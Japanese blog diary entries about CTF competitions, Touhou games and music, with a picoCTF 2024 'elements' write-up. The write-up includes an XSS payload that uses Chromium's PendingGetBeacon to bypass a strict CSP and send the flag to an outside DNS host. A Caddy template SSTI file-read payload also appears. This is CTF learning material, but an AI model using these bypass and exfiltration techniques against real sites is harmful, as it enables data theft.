writeup以外

2024年3, 4月の話

CTF

数としては週1ペースで出ていた気がするが、腰を据えて取り組んだのは半分ぐらいだろうか。

  • osu!gaming CTF 2024
    • BunkyoWesternsで出た。4位でめでたいがWebはArkさんとSatokiさんがどんどんなぎ倒しており、ほかのカテゴリでは(その名の通りosu!をテーマとしたものばかりで)あまり興味を惹かれる問題がなかったのもあり、あまりやる気が出ず。ごめん…
  • KalmarCTF 2024
    • これは適当なチーム名でソロで出ていた。順位は覚えていない。Webの Ez ⛳ v2 だけ解いた。CaddyのテンプレートでSSTI的なことができる問題で、{{listFiles "/"}}{{readFile "/CVGjuzCIVR99QNpJTLtBn9"}} で解いていたらしい。ほかは全然記憶にない
  • picoCTF 2024 (writeup)
    • これもソロで出ていた。Webの最難問題だけ解いた。謎の競プロパートと0-dayもどきによって諸々のセキュリティ機構をバイパスするパートの2つに分かれていたけれども、特に後者が面白かった。ほかのカテゴリの問題はあまりやる気がなくて手を出さなかった…
  • LINE CTF 2024
    • BunkyoWesternsで出て20位だったけれども、私は zipviewer-version-citizen しか解いていない。高クオリティなWeb問だらけということで力を入れるべきだったと思うけれども、元気がなくて取り組めなかった…
  • Asian Cyber Security Challenge (ACSC) CTF 2024 (writeup)
    • 3月で一番楽しみに、かつ戦々恐々としていたCTF。これは個人戦のCTFで、ACSC 2021, ACSC 2023と同様に上位であればInternational Cybersecurity Challenge(ICC)という大会に進めるというものだった。総合順位でもeligibleなプレイヤー内でも3位ということで、無事にICCへ進めるはず。ICC周りの詳しい話は以前書いた記事@ITの記事を参照されたい
    • ICC 2022, 2023とこれまで2年連続でTeam Asiaのメンバーとして出場してきているが、年齢のために次回以降はACSCに参加できないことから、今回がラストチャンスだった。それだけにめちゃくちゃ緊張しつつ取り組んだけれども、無事に余裕を持って通過できる順位でよかった。もっとも、4/30時点でまだ正式にファイナリストとして選ばれたという通知を受け取っていないのでまだ確実とは言えない
    • このまま通過すればチリはサンティアゴへの旅行ができるのが楽しみだし、これまでTeam Asiaは総合順位では2位と3位ということで優勝できておらず、今年こそということでより頑張りたい気持ちもある
  • TAMUctf 2024 (writeup)
    • BunkyoWesternsで出て5位。結構頑張ったという自己認識を持っている。特に印象に残っているのがQEMUで頑張って作られたコンテナエスケープ問*2で、とても勉強になった。Alpine LinuxということでLiving Off the Landするのが面倒くさかったという印象も強い。私もこういう問題を作りたいところ
  • AmateursCTF 2024 (writeup)
    • BunkyoWesternsで出て6位。スコアサーバにチームページの背景やフォントを変えられる機能があり、問題を解けば解くほどランキングに影響する得点とは別枠のポイントがもらえ、それらのオプションを購入できるというのが面白かった。魔改造されたrCTFがGitHubで公開されている。5日間と開催期間が長かったけれども、TAMUctfと被っていたり、ほぼ平日なので面倒くささに負けて後半はあまり手を出せなかったり。ごめん…
  • Grey Cat The Flag 2024 Qualifiers (writeup)
    • BunkyoWesternsで出て3位。Webカテゴリでjroさんという方が作問されていたFearless Concurrency, No Sql Injectionがかなりパズルっぽい問題で面白かった
  • Midnight Sun CTF 2024 Quals
    • TokyoWesternsで出て7位だったけれども、私は何も解いていない。awkw4ardescapeshellcmd なのでクォートが偶数個ならエスケープされないしオプションも付けられますねえとか、modern というHTMX問で /share/%5cexample.com というパスであれば外部に hx-get させられるし、なんか色々レスポンスヘッダを付けられるみたいですねえとか言っていたぐらいだろうか。Access-Control-Expose-Headers が完全に頭から抜けており、そこで悩んでいたらtyageさんが解いていた

ゲーム

引き続き東方を遊んでいる。ランダム弾のように多少の運が絡んでくる場面はあれど、重要なのはプレイヤースキルとどれだけパターン構築ができているかの2点だ。つまりどのようなミスも自分の責任であるが、裏を返せば難所を突破できたときに自分はそれだけの成長をしたのだと実感できるのがとても楽しく感じられる。

今後プレイするゲームとして「東方紅魔郷」「東方妖々夢」「東方永夜抄」も買った。Windows 11では動作が怪しいという情報もあるが、体験版がまともに動いたからいいだろう、最悪強引に動く環境を作ろうと購入を決めた。ニコニコ動画で育ってきた人間としては聞いたことのある曲や見たことのあるキャラクターが多く出てくるだろう。楽しみだ。

紅魔郷~永夜抄はイレギュラー(適当なタイミングで遊ぶ)として、基本的にはリリースされた日が古い方から、風神録をスタート地点として順々に遊んでいる。とりあえずはNormalで1機体でもノーコンティニューのクリアができれば次の作品を遊び始めるという方針で進めている。Extraや他機体、他難易度の攻略は一通りこの方針でシリーズをプレイし終えた後か、気が向いたらということで。

  • 東方地霊殿 〜 Subterranean Animism.
    • 1月末に「東方風神録」をクリアしてすぐに買い、以降Normalでのノーコンティニュークリアを目指していた。2ヶ月半、プレイ時間30時間程度にしてようやく達成することができた。まさかここまでかかるとは思っていなかったが、とても嬉しい
    • 3面の苦手意識が最後まで克服できず、道中後半のレーザー祭りだったり、ラストの通常攻撃や「三歩必殺」だったりでちょくちょく被弾してしまう様子だった。6面のお空については、正直なところ5面のお燐の方が苦戦していたかもしれないというところで、難所と思われた「地獄極楽メルトダウン」も繰り返すうちに小さい範囲でカクカク動けばよいことに気づき、一番被弾していた「フィクストスター」も半安置をマスターしてなんとかなった。ただ、上振れで通せただけという気持ちもあり、また精進だ
    • お燐すき
  • 東方星蓮船 〜 Undefined Fantastic Object.
    • 「東方地霊殿」のNormalで(霊夢・紫のペアだけだが)ノーコンティニュークリアを達成できたので、では次へということで購入した。またシステム面で大きな変化がある。少しずつ慣れてこちらの作品もNormalでのノーコンティニュークリアを目指したい
    • パワーとスペルカードの分離がまず大きなトピックであり、ピチュると最大で2個補充される、ボムの威力が強いということで、抱え落ちがよりもったいないものになったように感じられる。UFOとベントラーアイテムが本作最大の特徴だろうが、クリアだけならまず赤UFOで残機を稼ぎ、おまけに緑UFOでボム回数を増やすぐらいでよいのではないかと素人考えながら思った。ただ、残機だけをとにかく増やしたところで、本作ではピチュるたびにパワーが1.00減少するわけで、ピチュりまくればジリ貧に陥る。その点では緑UFOの比重を大きくした方がよいかもと思いつつ、やっぱり抱え落ちが怖い。もっとも、自分にとっての最適なバランスを考える前に、危ないと思ったらボムを惜しげなく使う、食らいボムの精度を高めるという2点がまず重要であろう
    • ナズーリンすき

音楽

ここ2ヶ月は聞いていた曲をあまりどこかしらにメモしていなかった。日記やMastodonに書いていた内容、Spotifyの履歴等を見つつ、これは良かったなという曲等を以下に書く:

アニメ

ちまちま見ている。1, 2月から見ているものも含めて、この2ヶ月間では次の作品を見た:

  • マクロスFRONTIER
  • まちカドまぞく 2丁目

その他

Blueskyのアカウントを作った。XActivityPub圏のアカウントを既に持っている中でなぜ? というところだけれども、単なる興味から作った。作ったからにはいずれもちゃんと運用したいが、どのように使い分けるかという問題がある。結局Xでは真面目気味なポストやブログ投稿のお知らせを主に、APやBlueskyではそれよりは適当なポストを主に投稿していくことにしたが、そこまで厳密な使い分けをするつもりはない。もっとも大事なのはそのときの気分とする。

5, 6月の大きなイベントはなんだろうと思ったが、5月半ばのHTB Business CTF 2024と6月末のDiceCTF 2024 Finalsだろうか。まずHTB Business CTF 2024だが、これはHack The Boxが開催する企業対抗のCTFだ。私はこれまで参加していなかったけれども、過去NFLabs.やイエラエが日本チーム1位を獲得していたらしく対抗心を燃やしている。社内のCTFプレイヤーを糾合していく。DiceCTF 2024 Finalsはニューヨーク市で開催されるオンサイトCTFで、競技内容もそうだがニューヨーク観光も楽しみだ。観光できる時間や体力・気力があるかは知らん。

そんな感じ。来月もほどほどに頑張って生きていきたい。

picoCTF 2024 - elements(Chromiumの実験的な機能を使って、CSPのconnect-srcディレクティブをバイパスする)

はじめに

ソロチームで出ていた。出ていたと言ってもWebカテゴリで一番難しい問題だったelementsしか解いていない。ほかの問題もやろうと思っていたけれども、なんか面倒だという気持ちに負けてしまった。picoCTF 2024の問題はpicoGymという常設の問題セットに移るようなので、またどこかのタイミングで遊びたい気持ちがある。

で、elementsのwriteupを書かなきゃな~と思いつつも、これもやっぱり面倒で、ちゃんとしたwriteupを書く気持ちになれなかった。したがって、ここに適当なメモを書き捨てる。

書き上げた後の追記: なんというか、思っていたよりもちゃんと書いてしまった。まあいいや、こちらのブログに置いておく。

[Web] elements

ほかのほとんどの問題が数百solvesとある(Webカテゴリに限ると数千solvesがある)中で、これだけ2桁solvesという、相対的に激ヤバの問題だった。

簡単に問題のコンセプトを書いておく。これはInfinite Craftというものをモチーフとした問題だ。画面右側にWater, Fire, Wind, Earthという4つの要素があり、これを画面左側にドラッグ&ドロップできる。この要素同士を組み合わせると、その組み合わせに基づいて別の要素が作れる。また、これによって新しく生まれた要素が画面右側に加わり、わざわざ要素同士を組み合わせて元の要素を作らずとも、そのままドラッグ&ドロップで作れるようになる。

ここまですべてクライアント側で実装されている。レシピの解放状況をどうセーブできるか、あるいはほかの人に共有できるかだけれども、これはフラグメント識別子からできる。

さて、解放可能な要素の中に XSS というものがあり、これを作り出すことができれば、Webページ上で任意のJSコードを実行できる。つまりXSSだ。XSS botにこのXSSを踏ませて、フラグメント識別子に付加されるフラグを盗み出すのがこの問題の主な目的となる。

const evaluate = (...items) => {
    const [a, b] = items.sort();
    for (const [ingredientA, ingredientB, result] of recipes) {
        if (ingredientA === a && ingredientB == b) {
            if (result === 'XSS' && state.xss) {
                eval(state.xss);
            }
            return result;
        }
    }
    return null;
}

そういうわけで、まず XSS という要素を解放する手順を見つける必要がある。この手順もブルートフォースして見つかればそれでよしというわけではない。次のコードはレシピ(つまり、既知の要素からどれとどれを組み合わせるかという操作の列)と、XSS が作れた際に実行するコードをユーザから受け付けて検証し、OKであればXSS botに投げている箇所だ。ここで、レシピに含まれる操作の回数が50回未満でなければならないという制約があるとわかる。最短(でなくともよいかもしれないが、なるべく短い)ルートを見つける必要がある。

   } else if (url.pathname === '/remoteCraft') {
        try {
            const { recipe, xss } = JSON.parse(url.searchParams.get('recipe'));
            assert(typeof xss === 'string');
            assert(xss.length < 300);
            assert(recipe instanceof Array);
            assert(recipe.length < 50);
            for (const step of recipe) {
                assert(step instanceof Array);
                assert(step.length === 2);
                for (const element of step) {
                    assert(typeof xss === 'string');
                    assert(element.length < 50);
                }
            }
            visit({ recipe, xss });
        } catch(e) {
            console.error(e);
            return res.writeHead(400).end('invalid recipe!');
        }
        return res.end('visiting!');
    }

これはまあ、適当に見つければいいんじゃないか。

let found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨']]);
const recipes = [["Ash","Fire","Charcoal"],["Steam Engine","Water","Vapor"],/* デカすぎるので省略 */,["Earth","Obsidian","Computer Chip"],["Geolocation","Location Tracking","Real-Time Positioning"]];

// レシピ→物質、物質→レシピの相互変換ができるようにする
const thingToRecipe = new Map();
for (const [a, b, c] of recipes) {
    thingToRecipe.set(c, [a, b]);
}

const recipeToThing = new Map();
for (const [a, b, c] of recipes) {
    recipeToThing.set(JSON.stringify([a, b]), c);
}

// まずはどんなレシピが必要か確認する
let neededRecipes = [];
let targets = ['XSS'];
while (targets.length !== 0) {
    const target = targets.shift();

    if (!thingToRecipe.has(target)) {
        console.error('what?', target);
    }
    const [a, b] = thingToRecipe.get(target);

    if (!found.has(target)) {
        found.set(target, true);
        neededRecipes.push([a, b]);
    }

    if (!found.has(a)) targets.push(a);
    if (!found.has(b)) targets.push(b);
}

// ではどうやればそれぞれ発見できるか、最初の4要素で作れるものから作っていく
found = new Map([['Fire', '🔥'], ['Water', '💧'], ['Earth', '🌍'], ['Air', '💨']]);
let result = [];
while (neededRecipes.length !== 0) {
    for (let i = 0; i < neededRecipes.length; i++) {
        const [a, b] = neededRecipes[i];
        if (!found.has(a) || !found.has(b)) {
            continue;
        }

        result.push([a, b]);
        neededRecipes.splice(i, 1);

        const key = JSON.stringify([a, b]);
        found.set(recipeToThing.get(key), true);
        break;
    }
}

console.log(result);

問題はXSSの方だ。制約がかなり厳しいので、それぞれ紹介していく。まずはめちゃくちゃ厳しいCSPで、JSコードが実行できたとしても、navigate-toconnect-src (フォールバックで default-src'none' になる) の制約のせいで、location やら navigator.sendBeacon やらによる外部へのデータの送信ができない。ほか、Cross-Origin-Opener-PolicyX-Frame-Options のようなヘッダも付与されている。

Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-eval' 'self'; frame-ancestors 'none'; worker-src 'none'; navigate-to 'none'

WebRTCでバイパスすりゃいいじゃんという話だけれども、そうは問屋がおろさない。今回XSS botが使っているChromiumは特注品で、以下のようにパッチが加えられている。WebRTCを使ったバイパスで重要な役割を担う RTCPeerConnection が潰されてしまっている。丁寧にもvendor prefix付きのAPIまで潰されている。

diff --git a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
index f0948629cb..393e7c77e0 100644
--- a/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
+++ b/third_party/blink/renderer/modules/peerconnection/rtc_peer_connection.idl
@@ -61,10 +61,7 @@ enum RTCPeerConnectionState {
 // https://w3c.github.io/webrtc-pc/#interface-definition

 [
-    ActiveScriptWrappable,
-    Exposed=Window,
-    LegacyWindowAlias=webkitRTCPeerConnection,
-    LegacyWindowAlias_Measure
+    ActiveScriptWrappable
 ] interface RTCPeerConnection : EventTarget {
     // TODO(https://crbug.com/1318448): Deprecated `mediaConstraints` should be removed.
     [CallWith=ExecutionContext, RaisesException] constructor(optional RTCConfiguration configuration = {}, optional GoogMediaConstraints mediaConstraints);

じゃあ dns-prefetch なりなんなりで、DNSから漏れ出てきそうなAPIを使ってDNS exfiltrationをすればいいじゃんと思ったけれども、これもまず難しい。2つ理由があるのだけれども、まず1つ目が /etc/chromium/policies/managed/policy.json の存在で、ここに次のようなJSONが書き込まれる。これのために、127.0.0.1:8080 を開くとChromiumによってブロックされてしまう。

{"URLAllowlist":["127.0.0.1:8080"],"URLBlocklist":["*"]}

2つ目が次の Preferences の設定で、ここが network_prediction_options: 2、つまり NETWORK_PREDICTION_NEVER にされてしまう。Chromiumがいい感じにprefetch等をしてくれる機能が潰されてそう。

   await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
        net: {
            network_prediction_options: 2
        }
    }));

ふと、DiceCTF 2024の[Web] another-cspを思い出し、同様のアプローチで解けるのではないかと思った。あの問題は参加者ごとに問題サーバのインスタンスが分けられているタイプで、同時に1つしかXSS botを立ち上げられず、かつXSS botが起動不能かどうかが観測できるものだった。つまり、特定の条件で激重処理を走らせることで、数秒経った後でもまだXSS botが起動していれば、その特定の条件を満たしているとわかる、という形で1bitずつ情報を入手できた。

ただし、この問題だとXSS botの起動状況は分からない。次のコードの通り、visit が非同期関数であるためだ。だが、WebサーバとXSS botは同じコンテナで起動するということで、特定の条件を踏めばXSS botによるWebサーバへのDoSが走るというようにすれば、今度はそのレスポンスタイムをoracleにできるのではないかと思った。けれども、流石に治安が悪すぎるだろうと、それを試すのは考えに考えてダメだった場合にしようと考えた*1

async function visit(state) {
    if (visiting) return;
    visiting = true;

    state = {...state, flag }

    const userDataDir = await mkdtemp(join(tmpdir(), 'elements-'));

    await mkdir(join(userDataDir, 'Default'));
    await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
        net: {
            network_prediction_options: 2
        }
    }));

    const proc = spawn(
        '/usr/bin/chromium-browser-unstable', [
            `--user-data-dir=${userDataDir}`,
            '--profile-directory=Default',
            '--no-sandbox',
            '--js-flags=--noexpose_wasm,--jitless',
            '--disable-gpu',
            '--no-first-run',
            '--enable-experimental-web-platform-features',
            `http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
        ],
        { detached: true }
    )

    await sleep(10000);
    try {
        process.kill(-proc.pid)
    } catch(e) {}
    await sleep(500);

    await rm(userDataDir, { recursive: true, force: true, maxRetries: 10 });

    visiting = false;
}

Chromiumに与えられるオプションを見ると --enable-experimental-web-platform-features とある。なるほど、実験的な機能でCSPバイパスをしろということか。雑に Object.keys(this).toString().replaceAll(',', ', ') を出力させて、このオプションがある場合とない場合とでdiffを取る。オプションがある場合にのみ使えるAPIを見ていく。

まずCanvasのFormatted Text(CSSで外部へのリクエストを送らせたり、激重テキストを作ったりできそうと考えた)だったり、Model Loader API(tfliteを読み込めるっぽかったので、それでなんかできそうと考えた)だったりを見たけれどもダメ。

最終的に PendingGetBeacon であればDNSの名前解決が行われることに気づいた。mess with dnsを使いつつ、次のようなコードでちょっとずつフラグが得られた。

(new PendingGetBeacon(`https://${(state.flag.toString().split(``).map(x=>x.charCodeAt().toString(16)).join(``)).slice(0,32)}.cobalt221.messwithdns.com`)).sendNow()

実はDNSの通信だけでなく、ちゃんとHTTPリクエストも送られていて(つまり connect-src のCSPバイパスができていて)、わざわざちょっとずつフラグを削って送らずともよかった。ちなみに、PendingBeacon APIはdeprecatedらしい。

picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_9889fd4a}

*1:これで解いた参加者が結構いるようだ

2024年1, 2月の話

CTF

  • Mapna CTF 2024
    • 2024年最初のCTFはこれだった。MAPNAというのは色々手掛けているイランの会社らしく、ASISが作問等を担当しているらしかった。parrot409さんが作るやや奇問気味*1なWeb問が好きで、それを目的としてBunkyoWesternsのメンバーとして出た。1位が取れて嬉しい
    • 嬉しいが、[Web] Gimme Content Typeを(最終的にはどのチームにも解かれなかったとはいえ)取れなかったのは痛い。結構答えまで近づいていた気はするけれどもダメだった。ただ、"a beginner-friendly Capture The Flag event" と銘打っているCTFで出す問題ではないのではないか
  • DiceCTF 2024 Quals
    • ニューヨーク市で決勝をやるとXでポストを見ていた*2こと、毎年DiceCTFは面白い問題を出してくれることから参加したいと思っていた。BunkyoWesternsで出ないかとチームのDiscordで聞いたところ、ポジティブな反応があり出ることになった。チームとしては最初から調子が良かったものの、じわじわと抜かされ、最後に私が取り組んでいた問題は解けず、終了間際には焦りがあったが8位ということでギリギリ決勝圏内に入れて安心した*3
    • 相変わらずの高クオリティCTFだったものの、strellicさんが作問されたsafestlist, burnbinには手を出す余裕がなかった。つらい
  • shioCTF 2024
    • shioさんが個人で開催されていたCTF。「1時間くらいで全完されそう」とポストされていたので、やったろやないかい*4とソロで出て無事1時間以内に全完し、1位だった。嬉しいね
  • 防衛省サイバーコンテスト 2024
    • これも個人戦だ。昨年はICC 2023と被っており、しかし参加はしたかったのでサンディエゴから帰る便の中、機内Wi-Fi*5で戦っていた。結果は6位で惜しくも入賞ならず。2021年では優勝したし、2022年では3位ということで3年連続での入賞を目指していたものの、達成できなかったことが悔しかったので、リベンジがしたかった
    • (開催前の2/24にこの記事を書いているため、まだ結果はわからない。終わり次第追記したい)
      • → 2位。くやし~~~~。最速での全完だったのだけれども、無駄にヒントを開けてしまったのが響いた
    • よかったポイント
      1. writeupが公開可能である
      2. 失敗している箇所もあるが、現実的なシチュエーションを作り出そうとしている
      3. 各問題のフラグフォーマットについて、flag{xxxxxx} のように文字数が明示されている
    • あまり好きではないポイント
      1. ヒントがポイントを消費して閲覧できる形式、かつ取っ掛かりを掴める程度の内容で、ある程度進捗が出ていればまったく意味がないものばかりだった
      2. 「問題名の大文字を集めるとDoH, 環境変数が重要だとわかる」というような非合理的なヒントがある
      3. Webでは5問中1問を除きソースコードが配布されない、[Forensics] HiddEN Variableでは「(どこにもそのようなヒントはないが)FLAGという環境変数をBase58デコードするとフラグが出る」といったように、エスパー要素が多い。[Network 30] Pivotも「Base64にSUIDがついている」というのは流石に意味がわからない
      4. [Network 20] Exploitでは全ユーザで共通の環境であったために、自分の解法がほかの人に、あるいはほかの人の解法が自分に見えてしまっていた。それを防ぐための5分ごとのリセットだったのだろうが、結局12時間という短い枠かつ300名以上の参加者がいるわけだから、いつでも誰かしらが取り組んでいたわけで、全然防げていないし、リセットの頻度が高すぎてまともに解けなかった

ゲーム

  • 東方風神録 〜 Mountain of Faith.
    • 「鍵山雛*6ボタン」で有名な「貢がせろ!女苑ちゃん!!」がバズっていたのを見て、そういえば東方原作を遊んだことがないなと思う。Steamで販売されているため入手しやすく、かつ初出がもっとも早いこれを買い遊んだ
    • ニコニコ動画へ入り浸っていた(いる)人間なので、イージーモードが許されるのは小学生まで*7だという意識が刷り込まれており*8、ちょっと苦しみながらNormalで遊んでいた。1/8に購入して毎日ちまちまと練習し、1/28に霊夢A(誘導装備)でコンティニューなしにクリアした。プレイ時間はSteam的には24時間弱だけれども、ゲーム内では21時間弱ということになっている
    • 大変面白かった。弾幕シューティングということで遊ぶ前は反射神経が重要となるのかなとぼんやり思っていた。しかしながら、確かに反射神経は必要となる場面では必要となる(アドリブで避けるいわゆる「気合避け」だ)けれども、繰り返し遊んでパターンを構築し、いかにそれを忠実に遂行できるかの方が重要だった、というのがNormalを遊んだ限りでの所感だ。つまりは、自分の腕前では避けられない、あるいは頑張れば避けられるけれども疲れて後に響くという理由からこのスペルカードはボムで処理すると決めるとか、道中のここではまず右らへんで構え、その後で左へ移動すると喰らいにくいとか、そういう自分なりのセオリーを作っていくゲームということになる。弾幕の見た目はとんでもないけれども、必ず攻略できるよう作られている*9。試行錯誤で突破口を見つけ、パターンを洗練させていくのが楽しかった
    • 今のところ霊夢AでNormalをクリアしたのみで、ほかの機体や難易度でのクリアはしていないし、Extraも「ネイティブフェイス」を聞いて満足してしまいクリアまではしていないけれども、いずれまたちゃんとプレイしたい。あまり時間を空けるとまたパターンの作り直しになってしまうのではないかと恐れているが、苦労してクリアまでたどり着いたので体が覚えていてほしいところ。攻略メモを作っておくか…
  • 東方地霊殿 〜 Subterranean Animism.
    • 「東方風神録」がとても楽しかったので、そのままの勢いで買ったもの。風神録と比較すると「ボムの最大個数が5個から4個に減った」「グレイズ(弾にかすめる)を繰り返すと、画面上部へ移動せずともパワーアップアイテムや得点アイテム等を回収できる」「エクステンド(残機の増加)は一定の得点ではなく、ボスのスペルカード等を(ボムを使ってでも)ノーミスで通過した際に発生する」などなどシステム面での変化がありつつ、何より個人的には道中含め攻撃が苛烈で、同じくNormalで遊んでいるのだけれども難易度が上がったように感じる。スコアがベースでないエクステンドは、風神録では信仰ポイントの維持を常に意識する必要があったところ、今作は残機の欠片がもらえるポイントさえ意識すればよいので楽だし、またもりもり残機が増えていくので嬉しいけれども、体感での難易度の上昇のためにトントンというところ
    • 霊夢・紫ペアで挑戦し続けているものの、この記事を書いている時点(2/24)ではまだクリアできていない。2機ぐらい残して6面ボスにたどり着くことはできるものの、そこで落ちてしまう。どうやら私は3面が苦手らしく、特に道中後半のレーザーでよく被弾してしまう。4, 5, 6面については道中は安定して突破できるし、さとりとお燐も残機は落としつつも安定しつつある。お燐も現状ボムと残機をすり減らしつつほぼ無理やり突破する形になっているのが問題で、もっとパターンを磨き上げような!
    • ところで、風神録といい地霊殿といい、コンティニューありでのクリアの方が簡単ということはなく、コンティニューすると残機2つの状態でステージの最初からもう一度やる必要があるわけだから、むしろコンティニューなしよりも難しいのではないかと思っている。何度でも同じステージを繰り返し挑戦できるというのはあるけれども
    • お燐がかわいい

音楽

音MAD経由で「オーバーライド」や「黒塗り世界宛て書簡」を知り、好きになる。そのままの流れというかなんというかで、YouTubeやらSpotifyやらのレコメンドに頼りつつボカロ曲を色々聞いていた。

「ボカロ曲」というくくるのはなかなか雑で、音楽ジャンルとしての幅広さもあれば、あるいは重音テトSVはその名の通りSynthesizer V AIだし、可不はCeVIO AIだから「VOCALOID」ではない(ニコニコ動画では、以降紹介する曲もそうだし、可不ではたとえば「フォニイ*10で便宜的に? 「VOCALOID」タグが付与されている)という話もある。いわゆる普通名称化が起こっていると言っても過言ではないかと思うが、これに対するヤマハの態度はどうかというと、当然ながらこの名称を使う際に「普通名称であるかのような誤認や混同を招くような表示は避け」るよう要請している。

何の話やねん。1, 2月と聞いていた中で特に気に入った曲は以下の通り。

上述のように最近「東方風神録」と「東方地霊殿」を遊んだのだけれども、なんとSpotify等でこれらのサウンドトラックが配信されており、それもちょくちょく聞いていた。

全般的に好きなのだけれども、風神録では特に「少女が見た日本の原風景」「信仰は儚き人間の為に」「御柱の墓場」「神さびた古戦場」という5面~6面の一連の流れが好きだし、地霊殿では「ハートフェルトファンシー」「少女さとり」「死体旅行」と4面~5面あたりが好き。一点問題があり、サントラでは「ハートフェルトファンシー」でお燐のニャーンが聞こえてこない。

そういえば、たまにはSquarepusherを聞きたいなという気持ちになりYouTubeを見に行ったところ、新譜が出るということを知ったのは嬉しかった。

アニメ

特に深い理由はないのだけれども、(Annictのログを見るに2019年あたりを境に)最近あまりアニメを見ていなかったなと思った。見ようと思っていたものの結局見ていなかった作品から見ている。

  • 安達としまむら
    • 良い
  • まちカドまぞく 2丁目

その他

2/11に静岡県へ遊びに行った。別に何か用事があったわけでなく、気力がいっぱいあったのでなんとなく観光目的で行った。伊豆半島はTsukuCTFの聖地であることが知られている(WildTsukushis, Gorgeous Interior Bus, TrainWindow, stickersは伊豆半島から出題されていた)。まず熱海で撮影可能な2箇所へ寄った後に、以前から行ってみたかった伊豆シャボテン動物公園や大室山へ行く。エミューがそこらへんでのそのそと歩いている体験は良かった。それから、遠くに浮かぶ初島を見て「本物だ!」とやや興奮するのはCTFerならではの感覚ではないか。

都内から2, 3時間程度でやや旅行気分を味わった。と言いつつも、私はもうすぐこちらへ引っ越してきてから丸2年が経つわけだけれども、出不精なのもあり、都内すらろくに出歩いていないわけだから、適当な電車に飛び乗って数駅先で降りる程度でも似たような感覚を味わえるだろうと思う。ただ、気力が十分にあり、かつ家から出たい気持ちになるという2つの条件を満たすタイミングがなかなか来ないという問題がある。

3月の話だけれども、私にとって最も大きなイベントはACSC 2024で、今回がラストチャンスとなる。頑張って3年連続での通過をしたいところ。毎度Web一本槍では通過できない難易度感で苦しみながらRev, Misc等ほかのジャンルに手を出しているけれども、今回もそうなるだろうか。何度かソロで適当なCTFに出て感覚を取り戻しておきたい。

なんか長くなってしまった。来月もほどほどに頑張って生きていきたい。

*1:Satokiさんの問題にも同じ雰囲気を感じていて、つまり奇問に片足を突っ込んでいるものの面白い問題をよく出題されており、それが好きだ

*2:どうでもいいが、DiceGangのXアカウントのヘッダ画像は人によってはかなりキツいのではないか

*3:喜びより安堵が先に来ちゃった

*4:TsukuCTFでも、あれはプレイヤー全体でなく私個人に宛ててだったが、Satokiさんから1時間でWebを解けという挑戦状を叩きつけられてやったろやないかいという気持ちになっていた。煽りに弱い

*5:競技環境へはOpenVPNで繋ぐ必要があったものの、なぜかダメだったので、自宅PCにまずTailscaleで繋いで、そこからさらにOpenVPNで競技環境へアクセスするという変な方法で解決していた。結局原因は追求していない(SSHのブロックがされていたので、ほかのポート番号等でもブロックがあったのだろうと推測しているが)。ちゃんとパケットを取って原因を調べておけばよかったなあ、OpenVPNとTailscaleの仕組みについてちゃんと知らないとなあと思う

*6:鍵山雛の初出はこの風神録だ。霊夢と雛の会話で見たことのある表情が出てきて笑ってしまった

*7:鈴仙・優曇華院・イナバの初出は永夜抄ということで、Steamではまだ販売されていない(そもそも発売される予定はあるのか?)のだけれども、紅魔郷や妖々夢含めいずれ遊びたいところ。駿河屋かどこかでCD-ROMを入手するのが早いかもしれない

*8:ああ 呪いになっちまうよ

*9:その「攻略」が気合でなんとかする、だということもあるが…

*10:「フォニイ」も音MADから知ったのだった

ASIS CTF Finals 2023の感想と反省、Shadow DOMと久々のSQLiについて

感想

昨年末にASIS CTF Finals 2023へチーム std::weak_ptr<moon> で出ていた。Webのgimme cspとPuppetearを解いたけれども、それぞれmeta refresh(SECCON CTF 2023 Finals - cgi-2023で考えてダメだったやつ)と Error.prepareStackTrace からの Error.prototype.stack の参照という解法だった。特筆すべきこともなく、writeupを書ける問題を解いていないなと思ったので書いていない。Arkさんの別解祭りは素晴らしかった。

PuppetearはXSS botのパスにフラグが含まれているので、それをWebページ側からリークさせよという変わった問題でよかった。Object.keys(globalThis) をやってみると __ariaQuerySelector, __ariaQuerySelectorAll というPuppeteerが生やした謎の関数があり、これが気になった。結局のところ、さっき書いたように Errorスタックトレースから漏れていたのだけれども。

この謎の関数でPrototype Pollutionなりなんなり(実際 JSON.stringify の置き換え等はできたが、特に有用な攻撃へつなげることはできなかった)で偽のCDPの命令を送って、変なところにJSコードをダウンロードさせて…みたいなことを考えた。けれども、そういうバイパスは少なくとも自分にはできなかったし、それが想定されているなら /getflag という実行ファイルを実行せよという形式になっているだろうと真面目には探していなかった。要は作問者のparrot409さんを信頼していた。

DiceCTF 2022 - shadowを改変したSayeha, Sayeha Revengeはまた面白かった。解けなかったんだけど。catfinderも、こういうSQLi問は久しぶりに見た気がする。解けなかったんだけど。ほかの人の解法を見てこのブログで反省する。

反省

Sayeha, Sayeha Revenge

こういう問題。attachShadow({mode: 'closed'}) ですけど、どうやって外からアクセスしますか? というやつ。DiceCTF 2022 - shadowも似たようなシチュエーションで、contenteditable 相当の -webkit-user-modify: read-writewindow.finddocument.execCommand('insertHTML', …) というコンボで解けたらしい。今回は default-src 'none'; script-src 'unsafe-eval' と余計なCSPがくっついてきていたり、ほか色々変わっておりつらい。

<html>
    <head>
       <title>Sayeha</title>
   </head>
    <body>
        <div id="ctx"></div>
        <script>
           function containsText(){
               for(let i=0;i<0x10000;i++){
                   if(window.find(String.fromCharCode(i))){
                       return true
                   }
               }
               return false
           }

           let params = new URLSearchParams(document.location.search)
           let html = params.get('html') ?? '<!-- hi -->'
           let p = params.get('p') ?? 'console.log(1337)'
           let shadow = ctx.attachShadow({mode: 'closed'});

           let mtag = document.createElement('meta')
           mtag.httpEquiv = 'Content-Security-Policy'
           mtag.content = `default-src 'none'; script-src 'unsafe-eval';`
           document.head.appendChild(mtag)

           shadow.appendChild(document.createElement('div'))
           shadow.children[0].innerHTML = `<!-- ${localStorage.getItem('secret') ?? 'ASIS{test-flag}'} -->`
           shadow.children[0].innerHTML += html.slice(0,0x2000)
           localStorage.removeItem('secret')

           if(
               shadow.children.length != 1 ||
               shadow.children[0].innerText != '' ||
               containsText()
           ){
               throw 'no'
           }

